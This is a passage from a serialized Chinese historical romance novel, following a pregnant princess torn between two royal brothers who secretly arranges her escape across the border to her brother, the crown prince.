若非想着她,他只怕早都不知死在了哪个荒郊野外。 宋知凌像一个毛头小子一样,嘴唇在她的唇上厮磨,拥得她越来越紧,呼吸也逐渐粗重了起来。 忽然,怀里的小姑娘轻“嘶”了一声,他吓得慌忙松了手,紧张道: “怎么了?!” 刚一说完,对上姜稚月被亲得水汪汪的眼睛里狡黠的眼神,宋知凌就知道自己被骗了。 还没开口说话,那小姑娘先笑着缩了缩脖子,指着床头矮柜的抽屉里,对他说: “打开看看?” 宋知凌疑惑地看了她一眼,却还是乖乖听话照做。 柜子里赫然摆放着一个小小的肚兜,白色的肚兜上用黄色的绣线绣着一副仙鹤图,肚兜用料柔软,绣工惊喜。 宋知凌一眼就看出这是给宋既宣的。 他心底一热,很快又啧了声,幽怨地朝姜稚月抱怨: “凭什么儿子有,我没有?” 姜稚月抿了抿唇,侧头将颊边的鬓发挽至耳后,面色有些不自然。 她没敢说起那个给他做的护膝,现在还在他的“牌位”下面。 宋知凌捏着肚兜来回看了看,忽然将肚兜一放,看着姜稚月,严肃道: “阿月,你想不想随我离开?” 姜稚月神色一僵,垂眸绞着手指,没有立即搭腔。 宋知凌看出她的犹豫,温声解释道: “陛下……他,封我为禹州王,不日我就会去封地,你愿意随我离开,我们就带着既宣一起,我们一家再不分开。” 宋知凌想起今后和她与儿子生活在一起的画面,心里不禁漫上一丝期待,自是没瞧见姜稚月听他说禹州时,忽然攥进的手心。 良久,她像是下定了某种决心一般,抬头对他笑道: “好啊,我跟你走。” “当真?” 宋知凌眼底的喜悦几乎溢了出来,唇角压都压不下去。 “嗯。” 姜稚月微微低头,唇角也不自觉勾了起来,随即,她又似想到了什么一般,皱了皱眉,对宋知凌道: “不过……你能不能让宋砚辞的人从这个院中撤离,她们……守着我很不自在。” “好!我这就去!” 宋知凌同宋砚辞从前在姜国时,就经常商议事情,彼此也知道对方的暗卫和心腹。 对于他来说,支走宋砚辞的人,易如反掌。 …… 夜里,姜稚月静静听着隔壁宋知凌的动静。 直到那边许久都没再传出声响,她才翻身下床,悄悄推开后窗,极为短促地吹了声骨哨。 未几,一只信鸽落在她的窗前。 姜稚月犹豫了一下,将手里攥到被汗濡湿的信绑到信鸽腿上,拍了拍它的脑袋。 “去吧。”- 又过了半个月,姜稚月的身体彻底好了,宋知凌封王就番的旨意也下来了。 临出发前这日晚上,姜稚月再次见到了宋砚辞。 时隔半个月多未见,他似乎清减了些,五官却也因此更加立体英俊。 姜稚月手中捏着一颗宋知凌剥好皮的葡萄,一抬头,就见宋砚辞在房门外站着。 她手一抖,葡萄被不小心捏碎,紫红色的汁水沿着她白皙细嫩的手指流了下去。 男人跨进门槛,拿过一旁的帨巾湿了水拧干,轻轻握住姜稚月的手。 姜稚月下意识缩了下手腕,却被他箍得更紧。 宋砚辞替她一点一点将 葡萄汁仔细擦拭干净。 姜稚月看着他的动作,静静地没出声,只是眼睫在不停轻颤。 宋砚辞掀起眼帘看了她一眼: “去花园里走走么?” 他的语气平静而温和,然而落在姜稚月耳中,却不知为何仿佛能掀起巨浪。 她猛地蜷了蜷手指。 未几,抿着唇无声点了下头。 第70章 第70章“我饿了,宋知凌你去做…… 月色清凉如水,夜风拂动,竹影婆娑。 姜稚月跟在宋硯辭身后,两人一前一后错开半个身位,少女娇小的身影被男人高大颀长的影子所覆盖。 拉长的暗影叠成一人,在青石板路上略显孤寂。 走了会儿,宋硯辭停下来回头看她,语气温柔得一如从前: “累吗?” 姜稚月腳步跟着一滞,摇了摇头,想了想,又点了点头。 头顶傳来一身闷笑,宋硯辭将自己的披风解下来铺在一旁的石凳上,扶起姜稚月的胳膊: “过去坐坐。” 小臂被男人有力的手掌攥住,掌心温热干燥的温度透过层层柔软的意料,渗透进来,从被他扶住的一点肌肤缓慢地蔓延开来。 姜稚月的耳朵微微发烫。 她低垂下眼眸,抿着唇,试图掩盖住自己紧张的情绪。 沉默良久,到底是宋硯辭先开了口。 “禹州多水,气候湿润,适宜你安胎。” 姜稚月听到他说的“安胎”二字,睫毛飞快地颤了几下,手心下意识放在自己的小腹上。 宋砚辞的视线顺着落在她微微鼓起的小腹上,盯着看了片刻,忽然跪在了姜稚月面前,大手掌在她的腰上。 姜稚月吓了一跳,下意识想躲避,宋砚辞箍在她腰上的手微微用力,制止住她的动作,輕叹般乞求: “阿月,可以让我听听它么?” 虽然知道,宋砚辞送她和宋知淩去禹州,不过是他的权宜之计,她和孩子定是逃不过被他接回宫的命。 但一想到自己的计划,和昨夜那封收到的信笺,姜稚月的心到底动摇了几分。 她看了看他,垂眸微微颔首。 小姑娘点头的动作輕得微不可察,然而宋砚辞的眼眸中却漾出剧烈的欣喜。 许是初为人父,即便是宋砚辞这般温润清隽、喜怒不形于色之人,在贴上那隆起的小腹时,也难掩激动和喜悦。 但他许是害怕这个姿势会累着姜稚月,并没听太久。 半晌,他自她怀中抬起头来,拇指在她腰后缓慢摩挲着,迟疑道: “阿月……宋知淩提前醒来这件事,陆詹跟我说了,许是哪一味药恰好对了症,我……” 经过上次宋砚辞答应送她回国,却将她囚//禁起来这件事后,姜稚月其实都分不清自己到底还能不能再相信他了。 不过一想到以后也许不会再见了,她轻轻笑了笑,语气软糯: “我知道,陆詹对我说过的。” 许是她的反应太过异常,宋砚辞盯着她,眉头微不可察地蹙了下。 随后,他笑着起身,在她的发顶摸了摸。 “去了禹州,要保护好自己的身体,照顾好自己——”宋砚辞不知从哪儿摸出两个平安符,递到姜稚月手中,“前两日去宝华寺请的,你一个,孩子一个。” 见她要拒绝,宋砚辞忙说: “我这个做父亲的,不能陪在它身边,只能以这样的方式陪着它。” 姜稚月看着手里尚且帶着男人体温的平安符,默默攥紧了手心。 宋砚辞握了握她的小手,语气温柔: “回去吧。” …… 姜稚月跟着宋砚辞,依旧如来时那般一前一后往回走。 刚走到院子门口,前方便傳来一阵急促的腳步声。 姜稚月循着声音抬头,就见宋知淩飞快朝她跑来。 屋内橙黄色的灯光打在他的身上,勾勒出男人高大挺拔的身躯,虽然背着光,但姜稚月也知道他此刻的眼中定然只有对她的关心。 她的心上不由一暖,笑着朝他伸出手去。 宋知淩一把攥住姜稚月的手,蹙了蹙眉,将她的手贴在自己的脸颊上: “手怎么这么凉。” “我不冷。” 身后宋砚辞的目光灼灼,姜稚月本能地想把自己的手从宋知凌的手中抽出来,不料他却攥得更紧,语气不善道: “你先下有身子,最是经不得折腾。” 说罢,他才转身看向宋砚辞,故意往姜稚月身前站了站,挡住宋砚辞的目光,冷声道: “哥要是没什么事,就回吧,夜深了,我和阿月也该休息了。” 宋知凌刻意将“我和阿月”几个字咬得很重,暧昧的语气即便让旁人听了,都会以为他俩今夜会做点什么。 姜稚月的脸腾得一红,慌忙将自己的脸埋在胸前,颇为恼羞成怒地在宋知凌的掌心中掐了一把。 头顶,对面男人的视线如有实质,重重压在她脸上。 良久,她听见他似乎极轻的笑了一声,嗓音微哑道: “既如此,那我是该走了。” 说罢,他抬手,当着宋知凌的面,裹住姜稚月的后颈在她唇角印下一吻,而后头也不回地离开。 姜稚月彻底呆在了当场,以至于宋知凌咬牙切齿的磨牙声,她都没听到。 不知过了多久,宋知凌将她的手一松,转身气鼓鼓地往房间里走。 走了两步,他脚步一顿,背对着他肩膀猛地起伏了两下,而后又一脸不爽地快走回来,一把掌住姜稚月的下巴,狠狠将宋砚辞吻过的唇角擦了擦。 最后实在气不过,干脆头一低,自己吻了上去。 他虽然帶着怨气和怒意,但在吻上姜稚月唇瓣的时候,还是刻意放轻了力道。 原本只是报复性的一吻,结果吻着吻着宋知凌便觉得自己不受控制了。 他松开她,盯着她水灵灵的眸子和水洗樱桃般的双唇,暗骂一声,一把将她打横抱起,朝屋内走去。 姜稚月惊呼一声,急忙拽紧他的衣襟,慌张得话都说不利索了: “云、云云云笙!你别乱来!陆、陆詹说过……” 宋知凌听她提起陆詹,似乎这才想起来什么,脚步一顿,而后又气得长叹一声,黑着脸将她放到了床榻上: “就是怕你累着,我又没想真做什么。” 宋知凌其实知道,最近一段时日,他和姜稚月只是维系着表面的平和,很多事情并没有说开。 即便是他再没有分寸,有些事情也暂时不能迈出那一步。 姜稚月瞧着他欲求不滿的脸上表情变化,一时想起了从前新婚的时候,两人还未洞房的那几日。 她的眼底不禁划过一抹极浅的笑意。 “好了,我不打扰你了,今夜你早些睡,明日还要赶路呢。” 宋知凌暗自懊恼,并未察觉她眼底的笑意。 姜稚月蜷了下手指,良久,终是低低应了声,听话地躺回床上,替自己盖好了被子闭上眼,一副十分乖顺的样子。 宋知凌坐在床边陪了她一会儿,熄了灯转身去了隔壁。 等到宋知凌走后许久,姜稚月悄悄起身,推开后窗,抓住那只灰色的信鸽,将它腿上绑的字条拿下来看完烧了。 又写了个新的绑上去,将信鸽放飞。 翌日一早,姜稚月醒的时候,天色已经大亮。 她揉了揉眼睛坐起来,疑惑道: “外面怎么没动静?不是说今天出发么?” 锦葵过来将她扶起来,笑道: “四殿下都已经叫人将东西收拾好了,那会儿看公主睡得熟,就没让奴婢叫您,只说等您何时睡醒了,咱们何时再出发呢。” 姜稚月一听这话,扫了眼远处的滴漏,急忙坐到妆台前,“那你快给我梳洗,咱们早些出发,我听他说,今日我们赶得路还比较长呢。” 等到姜稚月带着锦葵和琉璃出去的时候,这才发现,宋知凌几乎将整个府上的东西都搬空了。 而且最让人咋舌的,是那个巨大巨大的华丽馬車…… 就好像唯恐旁人不知道是他禹王殿下要去就番似的。 听着她们几人的脚步声,馬車的帘子被人掀开,宋知凌抱着一个小肉团子从马车上跳了下来。 一见到姜稚月,他就一副哭丧的表情,求助般看向她: “阿月,你快来看看……” 姜稚月见他这样,心脏猛地揪了起来,慌忙上前,急切道: “怎么……” 话没说完,她就呆住了。 只见宋知凌手中的小家伙举着自己的小手指,正嘬得津津有味。 而抱着他的宋知凌,那么一个玉树临风,高大英俊的男人眼神中全是迷茫和委屈,滿手满身都是……透明的液体。 见她看过来,小家伙还对她咧嘴一笑,口中咿咿呀呀地说着什么,好像在炫耀自己做的坏事一般。 停了两息,姜稚月到底没忍住,噗嗤一声笑了出来。 她身后的锦葵和琉璃也压着脑袋,肩膀一耸一耸的。 出了这么一茬,等到宋知凌回府重新沐浴更衣过后,出发的时辰便到了巳时。 姜稚月急得,以往这个时候宋砚辞定然已经下了早朝,若是政务不多,也早就和重臣议完了事。 原本她还害怕会在城门处碰到宋砚辞,然而马车辚辚驶出京城许久,她没看到他的影子。 姜稚月落下帘子,盯着自己的手心,心底说不清自己到底是什么感觉。 禹州距离京城不近,且估计到姜稚月有孕,一行人走得极慢。 马车在路上行了两个多月,等真正到了禹州地界儿的时候,都已经快要入冬。 几人刚一到达禹州的府邸,远在京城的东西也恰好在同一天送到。 好玩的,好吃的流水一般送来。 而这其中也夹杂着她想要的好消息。 比如二姐和董钰终成眷属。 再比如太子哥哥在边疆有了宋国的助力,连打胜仗,很快就能班师回朝了。 姜稚月握着那封写太子快要班师回朝的信,手指在信纸上反复摩挲。 不知是她想的太入神还是什么,连宋知凌站在她身后都未察觉。 “太子这仗打得艰难,不过好在是胜了。” 宋知凌的声音从背后传来,姜稚月猛地一抖,慌忙将信收了起来。 宋知凌瞧见她的动作,疑惑道: “吓着你了?你躲什么,这信我也看过啊。” 说罢,他似是反应过来时什么,严肃地看着姜稚月: “你是不是有什么事瞒着我?” 姜稚月攥着信封的手陡然一紧,就听宋知凌气道: “你不会是还在背着我和我哥联系吧?鸿雁传书,互诉衷肠?!” “……” 姜稚月听他说罢,先是愣了一下,握着信封的手缓缓松开,随后长舒一口气,用看傻子一样的表情看着宋知凌道: “我饿了,宋知凌你去做饭吧。”【你现在阅读的是魔蝎小说 moxiexs】 70-74 第71章 第71章在他的唇角轻轻印下一吻…… 宋知凌觉得自己似乎因为薑稚月的那个眼神,而受到了极大的羞辱。 但薑稚月一说她饿了,他又什么都顾不上了,急忙打开门招呼锦葵进来伺候薑稚月歇息,自己则以最快的速度换下身上风尘仆仆的衣裳,头也不抬地就扎进了灶房。 其实宋知凌从前也是养尊处优的公子哥儿,哪里会正经做饭。 不过是来时路上,薑稚月怀有身孕胃口刁钻,挑来挑去,眼看她越来越瘦,宋知凌急得没办法,只好自己親自学着下厨。 不成想,他做的饭菜竟意外地符合姜稚月的口味。 于是这一路上,姜稚月的膳食就基本都是由宋知凌来负责了。 锦葵伺候姜稚月沐浴更衣后,坐在榻邊休息了没一会儿,宋知凌就提着一个食盒进来了。 全是姜稚月爱吃的。 现在宋知凌的厨艺,就连乳酿鱼都能做得很好吃。 “眼下刚进府,府中一应事务还未置办完全,你且将就着吃,赶明儿我带你上街去置办家当去!” 宋知凌剔了一块鱼肉夹到姜稚月碗中,又给她盛了一碗粥。 姜稚月执着筷子的手一顿,神色中闪过一抹不自在。 不过好在宋知凌正在低头剔鱼刺,并未注意到她的异常。 他一邊剔一邊道: “禹州同你们姜国毗邻,风土人情都和你们那里很像,想必你也能住得惯,阿月——” 宋知凌停了停。 他握着筷子的手指节泛白,虽然壓抑着粗重的呼吸,但剧烈起伏的胸膛还是出卖了他此刻的心緒。 姜稚月被他这巨大的停顿唤回了神志。 她下意识看向他。 半晌,就听见他嗓音隱隱带着顫哑,似是下定了很大决心般,看向她道: “我们如今来了禹州重新生活,阿月,你……可不可以重新嫁给我一次。” 他盯着她的眼睛,青年人的眼里有灼灼真诚的光: “我们不做谁的驸马谁的王妃,你只做我的妻子,我做你的丈夫,我们带着既宣,你腹中的孩子我也会视若己出,我们以后好好在一起,好不好?” 姜稚月抿唇不语,眼睫輕輕顫了颤。 其实在路上的时候,她就隐隐感觉到宋知凌会同自己说这番话。 一路上他总是在同她说,到了禹州要带她去哪里,到了禹州要怎么按照从前雪竹苑的布局布置禹王府,又说今后要为既宣寻几个夫子,要为她建一座梅园。 他所说的一切关于今后的规划中都有她。 所以当姜稚月听见宋知凌说出这番话的时候,心里并无多少意外。 其实这份感情中,她与宋知凌的感情从始至终都最为纯粹,倘若没有她现下腹中那个人的孩子,也许宋知凌开口的时候,她便已经毫不猶豫地答应了。 可眼下…… 姜稚月抿了抿唇,斟酌着用语,缓缓道: “云笙,人生在世不是什么事情都能圆满。” 她二姐与那梁邵是,她与他亦是如此。 “有些人是一世夫妻,有些人却只能做一段夫……” “阿月!” 宋知凌蹙眉,打断她的话,将她的手握进手中,“我不信这些!我只知道如今我回来了,你也还在我身边,我们就没什么不可能的!” 见她尚在猶豫,宋知凌的眉头蹙得更深了。 他往她的小腹上看了一眼,忽然沉声道: “你不答应我,不会是因为你还想着他吧,你……” “没有!” 姜稚月抢白。 她的一双美眸朝他輕輕瞪过去,宋知凌立刻噤了声,所有的气势瞬间偃旗息鼓。 姜稚月垂眸,略一思索,轻声道: “我现在还不知道怎么回答你,但我想三日后去一趟慈恩寺。” 慈恩寺是禹州有名的寺庙,其中以占卜姻缘签最为有名。 宋知凌一听这话,眼神立刻亮了,唇角壓都压不住,一口答应了下来。 姜稚月想了想,又道: “我到时带着锦葵和琉璃去,你不许去!也不许叫人跟着!” 宋知凌本想拒绝,毕竟他们几人初来乍到,他担心她独自出行不安全。 可对上她水灵灵的杏眸,和那眼底微不可察地娇羞和犹豫,他又怕将她逼急了再适得其反。 想了想,最后终是答应了下来。 这一段时间以来,也不知宋知凌是转了性还是什么,极守规矩。 出了京城后,别说是同她親吻,就连手都很少与她牵。 有 时候离得近了,他还会刻意与她离开些距离。 一开始姜稚月还诧异宋知凌的反常,后来直到有一次,听闻他夜里总是洗冷水澡,她便瞬间就什么都明白了过来。 从此以后,他小心避着她,她也开始有意无意逼着他。 所以今夜两人一起用完膳后,谁都没有说要留下的话,宋知凌自觉地收拾了东西去了隔壁院子。 此后的三天,宋知凌每日都在应付来府中拜访的地方官员,姜稚月很少有能见到他的机会。 明日就是去慈恩寺的日子了。 姜稚月想了想,带了壶酒去了宋知凌院中。 宋知凌院中的小厮说他还在前院待客,替姜稚月掌了灯,倒了热茶,便去了一旁侯着。 姜稚月本以为宋知凌要像这两天的每一次一样,都到亥时末才能回来,她都已经做好了长时间等他的准备。 却不想未出半刻钟,宋知凌就脚步匆匆地从前院回来了。 “怎么来也不提前说一声?你如今身子重,等这么久定是累了。” 宋知凌一进来,先脱了大氅站在暖炉边驱了驱寒气,才靠近姜稚月,手背靠了靠她手边的杯盏,重新换了杯热茶。 “你也喝口热茶去去寒气。”姜稚月抬头看他,“怎么今日这么早回来?前院应酬完了?” 她察觉他身上的酒味不是很重。 宋知凌闻言冷笑一声,给自己倒了杯热茶,一饮而尽。 “都是些来探虚实的罢了,地头蛇做久了,我这初来乍到,他们定要探探我的性子,同他们说话都嫌费功夫,恰好你找我,我就顺理成章推了他们。” “那怎么样?那些人可好对付?” 其实对于这些,姜稚月从前也是知道的。 她太子哥哥有一年南下办案,也是因为他们当地那些官员和豪绅相互庇护,从而对太子哥哥生了轻慢之心。 后来太子哥哥回来后,用了三年的时间,将那些一众官员从地方清剿到朝廷。 很多时候,地方勾连不可怕,可怕的是和朝中通着气儿。 尤其是像宋国这种,先皇不作为,默认权臣当道,可想这些年地方上会有多嚣张。 宋知凌不想让姜稚月太过担心,只随意捡了几件不太重要的事情同她講了講,也算是逗她一乐。 言罢,他才想起来什么,问道: “阿月怎么想起来这个时候找我了?明日你要去慈恩寺,今夜应当早些歇息才是。” 两人之间隔着一个方桌,宋知凌侧身面对着她。 面如冠玉的青年,看向她的眼底是不加掩饰的关切与赤诚。 即便他从这次死里逃生回来后,在外人面前变得沉稳了不少,可面对她的时候,他仍是她年少时候与她经常拌嘴又互相关心的玩伴。 姜稚月的心像是被谁不经意地攥了一下,酸涩得紧。 她匆匆低下头去遮住眸中的神色,紧绞着手指酝酿片刻,才重新笑着抬头。 “没什么,不过就是想着这几日没怎么看到你,见你忙着应酬,过来问问你。” 自打宋知凌重新回来后,姜稚月难得对他流露出主动的关心。 宋知凌闻言先是一阵讶异,随后又想到,定是明日她要去求那签,心中忐忑,才来找他的。 宋知凌眸光一软,眸底的温柔之色几乎要溢了出来。 他下意识起身走到姜稚月身边,低头看了她好半天,最后终是忍不住轻轻将她搂进了自己怀中。 “阿月,其实明日的签……不论是什么结果,你心中已经有了结果不是么?无论怎样,你都是我此生唯一的妻,是我孩子的母亲。” 男人说话的时候,胸腔微微颤动。 姜稚月的侧脸贴在他的胸膛上,能够听见他沉稳而有力的心跳声。 她知道他想岔了,但如此最好。 她安静地被他抱了半晌,直到感觉男人身躯越来越僵硬呼吸越来越灼热,她才从他的怀中挣扎了出来。 宋知凌喉结重重滚了几下,压抑住自己的情緒。 “宋知凌。” 姜稚月唤他。 宋知凌长舒一口气,低头。 娇滴滴的小姑娘白嫩的手指间,托着一个水蓝色香囊。 宋知凌只消扫一眼,便知那香囊上的图案是姜稚月亲手所绣,因为她的绣工实在……称不上好。 即便如此,这个香囊也让他受宠若惊。 “给我的?!” “唔……” 姜稚月扬了扬眉,“不要算了……” “要!要!怎么能不要?!” 宋知凌从她即将合拢的手心里抢过那枚香囊,左右看了看,放在鼻尖嗅了嗅,蹙眉道: “这香的味道别致,是什么香?怎么我从未闻过?” 姜稚月眼底闪过一抹慌乱,佯装生气嗔道: “这是从前阿姐给我的配方,说是能安神养气,怎么了?你若是嫌弃,便还给我!” 宋知凌到手的东西,哪肯再还回去。 趁着姜稚月伸手的功夫,他已经飞快将香囊挂在了自己床头。 末了,还倚在床栏上,双手环胸向她挑了挑眉。 宋知凌的眉眼清隽英挺,挑眉时候露出不经意的肆意,张扬得灼人。 姜稚月的心头像是被他这笑意烫了一下般,她本都打算离开了,忽然停住脚步,叫了他一声。 “怎么了?” 宋知凌起身朝门口她身边走来,本来她不叫他,他也是打算送她的。 谁料刚走到门边,那少女忽然一把环住了他的腰,然后扯着他的前襟微微踮起脚尖,在他的唇角轻轻印下一吻。 第72章 第72章出城 湿湿软软的触感令宋知淩浑身猛地一僵,一股滚烫的热意自小腹腾空而起。 他的呼吸蓦地一重,掌住姜稚月的腰,正打算回吻回去,却被怀中的姑娘偏头躲开了。 “明日还要出门……” 姜稚月的眼睫微垂,说出口的声音软糯娇怯,听得宋知淩心都跟着软了一截。 他重重吞咽了一下,强行压下自己的意动,哑着嗓子道: “走吧,我送你回去。” 他一动,却发现衣角被人扯住了。 宋知淩低头朝攥着衣角那白生生的小手看了一眼,诧异地对上姜稚月的目光: “怎么了?可是难受?我抱你回去?” 姜稚月摇了摇头,小臉上生出一抹微不可察的红晕,继而美眸一瞪,又是一副理不直气也壮的表情: “我改变主意了,今夜我不走了……” 话未说完,果然见宋知淩的眼神一变,她立刻又道: “不过不是你想的那样,我就是……想跟你说说话。” 宋知凌笑了声,故意道: “哟,我想的那样,是哪样?” 姜稚月故意用力拧了他一下: “你这脑子就不能装点正常东西!” 宋知凌故意龇牙咧嘴在她手底下讨饶,末了,往她隆起的肚子上看了一眼,担忧道: “你有身子,应当早睡,留下来说话……可以么?” “少说一会儿又没什么。” 姜稚月指了指床,“你去睡床上,我睡这张软榻。” 宋知凌想都不想就拒绝,姜稚月反驳道: “我如今身子重,睡那软床腰疼,这榻软硬刚好,且在窗边,我睡着舒服。” 宋知凌将信将疑地看了她半天,再三确认她说的是真话,这才安置着看她上了榻,自己吹熄灯盏躺回了床上。 姜稚月本以为,经历了这么多,跟宋知凌聊天会很尴尬。 但显然她低估了两人从小到大的情谊,一起经历过的事情数不胜数,随便捡一两件出来都能聊好久。 不知不觉便到了丑时,宋知凌说话的声音越来越小,最后口中不知迷迷瞪瞪说了句什么,彻底睡了过去。 姜稚月在榻上等了半天,再未听到动静,这才轻手轻脚地起身,去到床边,用手推了推宋知凌。 “宋知凌……” “小凌子?” “睡着了么?” 等了半天,见他没反应,姜稚月长舒一口气,飞快将他床边的香囊卸了下来,重新换了个一模一样的上去。 只是这次的香囊,香气却和方才的略有不同。 天不亮的时候,姜稚月从宋知凌的房间里走了出去。 常康正在门边打盹,一见她出来,立刻迎了过去。 姜稚月自是看出了常康看向屋内时眼底的暧昧,她故意露出一抹娇羞,低声吩咐常康道: “王爷让我来通知你,今早不用叫他起身,他要多歇歇。” 常康一听这话,哪里还有不明白的,立刻连连应是,恭順退了下去。 姜稚月一走出正院,立刻加快了步子,锦葵和琉璃早就在府门口等着她。 白蒙蒙的晨雾还未彻底散去,檐上结着少许白霜,街道上空荡荡的半个人影也无。 姜稚月主仆三人一同坐上馬車,朝着出城的方向驶去。 刚出了城没多久,馬車在一处宅院旁停了下来,姜稚月被扶着走进院子。 刚进了房间,姜稚月就呆住了。 她怎么也想不到太子哥哥派出的接应自己的人,是此前她同宋砚辞出宫时碰到的那个姓韩的男人。 她瞧着眼前酷似宋知凌的男人,皱了皱眉,“怎么是你?” 韩玉对她恭敬行了一礼,正色道: “此处不是说话的地方,还请 公主随我前来。” 姜稚月视線扫过屋中其余众人,在看到太子哥哥身边那几个她见过的暗衛后,这才放下心来,跟着韩玉走进了内室。 韩玉打开内室的密道,锦葵扶着姜稚月慢慢走了进去。 也不知走了多久,眼前出现一道亮光,众人出去后,姜稚月这才发现,自己已经到了禹州与姜国随州的边界。 韩玉摸出三个户籍册和通关文牒,瞧了瞧天色,道: “此时应当尚且安全,城门口也暂时没有下令严加盘查,想必是禹王还未发现公主離开,公主便直接领着你的婢女过去吧,过去后,自有太子殿下的人在等着你们。” 姜稚月看了看韩玉,“你不回去?” 韩玉笑了下,对姜稚月躬身行了一礼,复又转身消失在人海中。 姜稚月盯着韩玉消失的地方,蹙了蹙眉,也不敢多加耽搁,转身便朝着城门的方向走去- 宋知凌醒来的时候,头脑还有些昏昏沉沉,迷糊间唤了声“常康”。 房门响起,紧接着常康的声音传来,“主子醒了?可要传午膳?” 午膳? 宋知凌抬手按眉的动作一僵,放下手臂侧头看他,“你说午膳?” “是啊,眼下都午时三刻了,殿下是想现在用膳,还是再晚些……” 常康的话未说完,就见宋知凌猛地从床上翻身下来,推开窗户看了看天色,臉色有些阴沉。 若非前一日醉了酒,他已经许多年没睡到这个时辰醒来过了。 他的视線往天边黑沉沉的乌云扫了一眼,沉声问: “阿月何时離开的?去了多久了?” 常康算了下时辰,“约莫辰时不到就离开了,现下……想来应该在回来的路上了吧。” 慈恩寺在出了城不遠的地方,且离官道不遠,来回方便,这也是宋知凌敢放她们三人自己去的原因。 再不济,阿月身边也有太子给的二十个暗衛。 可一想到姜稚月的太子哥哥,宋知凌的心里没来由窜起一阵慌乱。 “备馬!” 宋知凌飞快更衣洗漱完,接过常康手中的缰绳,翻身上馬,一扬马鞭便飞奔了出去。 到了慈恩寺的时候,果然未见到禹王府的马車。 宋知凌下马去问,寺中之人也都说未见到姜稚月来过,恰在此时,宋知凌手下的侍卫来报。 说是姜稚月的马車曾在一处莊子前停留过,有人见一个孕妇从马车中出来进了莊子,但没一会儿又出来了。 而后那辆马车又在路边的树林旁停过一段时间,在此期间,有另一辆马车与他们的马车停在一处,过了不久,两辆马车同时启程,往两个不同方向驶去。 宋知凌眉头紧锁,攥着缰绳的手都泛了白。 他沉默了片刻,“给我查,那个庄子,还有那辆马车,掘地三尺都要把人给我找出来!” 说罢,他神情中闪过一抹黯色,一扬马鞭朝城里飞奔而去。 回了王府,他脚步匆匆地回到正院。 一路任谁看到都会觉得宋知凌像是一个杀神。 “哐”的一脚踹开门,他的视線正正落在床边的那个香囊上。 他本不应怀疑她的。 但昨日她的一切举动都太过反常,再加之今早他意外地睡到了中午,这些种种让他不由不怀疑起她。 宋知凌将手中的香囊越攥越紧,最后冷声吩咐: “叫李茂过来!” 李茂是禹王府的大夫,未出片刻便提着药箱急匆匆赶了过来。 宋知凌将香囊往他手中一丢: “查查可有问题。” 宋知凌的眼神太过灼热,以至于李茂拆香囊的手都忍不住哆嗦个不停。 等到好不容易将香囊中的所有香料都倒出来,挨个闻过后,李茂回道: “回殿下,此香囊并无问题,皆是一些安神养气的常用配方。” 宋知凌暗暗掐住的手心猛地一松,双肩微不可察地落了下来,摆了摆手,嗓音里都透着紧绷的沙哑: “知道了,你下去吧。” 房间里的阳光斜斜洒进来,不知不觉已到了酉时。 宋知凌在屋中沉默地坐了会儿,抬手给宋砚辞写了一封信。 信送出后,他又重新出府接着寻找姜稚月的消息。 倘若被宋砚辞接走都是小事,他唯一害怕的是她真的遇到了危险- 姜稚月城门出得异常順利。 刚一出去,就见不远处的树下停了一辆马车,那马车旁边的男人明明看着相貌很普通,但姜稚月就是觉得在他身上看到了熟悉之感。 果然,那男人看到她后,朝她走了过来。 他在她身前站定,视线扫过她的小腹,落在她脸上,眼底满是心疼。 “阿月……” 男人一开口,姜稚月的眼泪就掉下来了。 太子哥哥的声音,她太熟悉了。 太子见她伤心,也叹了声气,低低道: “此处不是说话的地方,你跟我上马车。” 姜稚月上到马车上的时候,这才发现薛凝也在。 薛凝一见她眼圈就红了。 太子握了握薛凝的手,薛凝吸了吸鼻子,扯着唇角笑道: “好久没见阿月,出落得越发漂亮了,饿了么?你哥早就命厨子给你做了你喜欢吃的。” 姜稚月点点头。 太子瞧着她如今这幅模样,眸中暗暗闪过一抹狠戾,揉了揉她的发: “累么?累了就先靠你薛姐姐身上睡一会儿,咱们等会儿就到。” “好。” 姜稚月乖顺地靠到薛凝肩上,闭上眼睛假寐。 乍一见到亲人的欣喜过后,便涌上来无尽的尴尬。 尤其自己如今还身怀六甲,隆起的小腹足以见证她在宋国那几个月的经历。 太子带着她们来到了一处庄子。 “此处距离前线较远,尚且安全,如今前线战事未平,等过几日彻底平息了战乱,哥哥便带你一同回京。” 姜稚月扫了眼眼前的庄子,乖顺颔首: “哥哥先去忙你的,我有锦葵和琉璃,薛姐姐也陪着我呢。” 太子看了她一眼,又看向一旁的薛凝,薛凝对他点了点头。 太子下了马车,连庄子大门都未进,换了马匹直奔前线而去。 第73章 第73章追来 薛凝陪着姜稚月回去,替她安顿好后,门外传来一阵脚步声。 緊接着,石嬷嬷的声音从门口传来: “公主可歇下了?老奴带韩大人来给公主请个脉。” 一听石嬷嬷的声音,姜稚月心中欣喜,忙对外面说,“进来吧。” 石嬷嬷领着韩云进来。 姜稚月将手腕伸出去,視线一一扫过眼前一屋子熟悉的故人,眼圈没忍住又泛了红。 韩云请过脉后,说她身子调理得很好,没什么大碍,也无需再额外用药 。 几人又说了几句,石嬷嬷便和韩云退了下去。 薛凝替姜稚月掖了掖被角,“睡吧,我陪着你。” 瞧出她欲言又止的样子,薛凝轻笑:“怎么了,不瞌睡么?” 姜稚月摇了摇头,嘴唇翕动半天,才问: “薛姐姐何时来的隨州,煜哥儿呢?薛姐姐可将他带来了?” 薛凝一愣,笑道: “我也是半月前刚到,煜哥儿在京城,等回了京城就能见到了,煜哥儿现在已经会叫姑姑了呢。” 姜稚月的眼底染上一抹笑意,手指下意识放在自己的小腹上摩挲,不自覺道: “真好……” 薛凝意味深长地看了她一眼,“公主先休息会儿吧,等会儿饭热好了我叫你。” 她如何能不知道姜稚月这么问是为什么。 若是这般一走,姜稚月怕是再也见不到她和宋知淩的孩子,即便打出生就与他疏遠,但到底是她的骨肉- 姜稚月在太子安排的宅子里一连住了好几日。 原本她还忐忑,倘若宋知淩和宋硯辭知道后追过来会怎么办,可隨着日子一天天过去,那两人像是一点儿动静都没有。 这般安静,反倒让姜稚月有些坐立难安。 一则,她是覺得这样的安静十分反常。 这么多天他们无论如何应当也查到她回了姜国,哪怕宋硯辭可以做到不动声色,但依着宋知淩的性子,就冲她算计他从他眼皮子底下逃走这一条,他也早就将姜国边境掀了闯进来同她对峙了。 可这两人却都安静得像是从未出过这样的事一般。 另一方面,则是姜稚月自己内心的纠结。 明明在宋国的时候,身處在那两人之间,铁了心想要逃离,然而等到真正离开他们的时候,她心里反倒又生出了自己都从未意识到的不舍。 毕竟从年幼时,三人就一直在一處,她喜欢了宋硯辭许多年,腹中又有了他的孩子。 而宋知淩…… 